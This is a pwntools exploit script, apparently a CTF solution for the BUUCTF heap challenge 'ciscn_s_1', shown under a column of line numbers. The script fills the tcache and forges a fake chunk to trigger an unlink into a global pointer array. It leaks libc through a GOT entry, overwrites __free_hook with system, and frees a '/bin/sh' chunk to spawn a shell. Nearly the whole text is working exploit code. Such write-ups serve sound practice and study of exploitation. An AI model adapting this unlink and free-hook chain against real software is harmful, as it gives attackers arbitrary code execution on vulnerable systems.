1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
|
from pwn import *
context(os='linux',arch='amd64')
p = process('./ciscn_s_1')
# p=remote('node4.buuoj.cn',27763)
elf =ELF('./ciscn_s_1')
libc= ELF('/home/lol/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def add(idx,size,content):
p.recvuntil(b"4.show\n")
p.sendline('1')
p.recvuntil(b'index:\n')
p.sendline(str(idx))
p.recvuntil(b'size:\n')
p.sendline(str(size))
p.recvuntil(b'content:\n')
p.send(content)
def add1(idx,size,content):
p.recvuntil("4.show\n")
p.sendline('1')
p.recvuntil('index:\n')
p.sendline(str(idx))
p.recvuntil('size:\n')
p.sendline(str(size))
p.recvuntil('gift: ')
heap=int(p.recvline(keepends=False),16)
p.recvuntil('content:\n')
p.send(content)
return(heap)
def edit(idx,content):
p.recvuntil(b"4.show\n")
p.sendline('3')
p.recvuntil(b'index:\n')
p.sendline(str(idx))
p.recvuntil(b'content:\n')
p.send(content)
def show(idx):
p.recvuntil(b"4.show\n")
p.sendline(b'4')
p.recvuntil(b"index:\n")
p.sendline(str(idx))
def free(idx):
p.recvuntil(b"4.show\n")
p.sendline('2')
p.recvuntil(b'index:\n')
p.sendline(str(idx))
key1 = 0x06022BC
key2 = 0x06022B8
pro = 0x6021E0
#get unsorted bin
for i in range(7):
add(i,0xf8,str(i)*8)
add(7,0xf8,'7'*8)
add(32,0xf8,'20202020')
add(8,0xf8,'8'*8)
add(9,0xf8,"/bin/sh\x00")
# gdb.attach(p)
addr = 0x6020e0+8*32
payload = p64(0)+p64(0xf1)
payload += p64(addr-0x18)+p64(addr-0x10)
payload = payload.ljust(0xf0,b"\x00")
payload += p64(0xf0)
for i in range(7):
free(i+1)
# gdb.attach(p)
edit(32,payload) #这里是将序号为32的堆块通过unlink改写到0x6021e0
gdb.attach(p)
free(8) #触发unlink
# gdb.attach(p)
payload = p64(0x0000000000601fa0)
payload += p64(pro-0x18)+p64(pro-0x18)
payload += p64(pro)
payload = payload.ljust(0xf0,b'\x00')
payload += p64(0x0000000a00000001)
edit(32,payload)
# gdb.attach(p)
show(29)
# gdb.attach(p)
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))-libc.sym["free"]
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
success("libc base ==> "+hex(libc_base))
success("free_hook ==> "+hex(free_hook))
success("_libc_system ==> "+hex(system))
edit(32,p64(free_hook))
edit(32,p64(system))
free(9)
p.interactive()
|
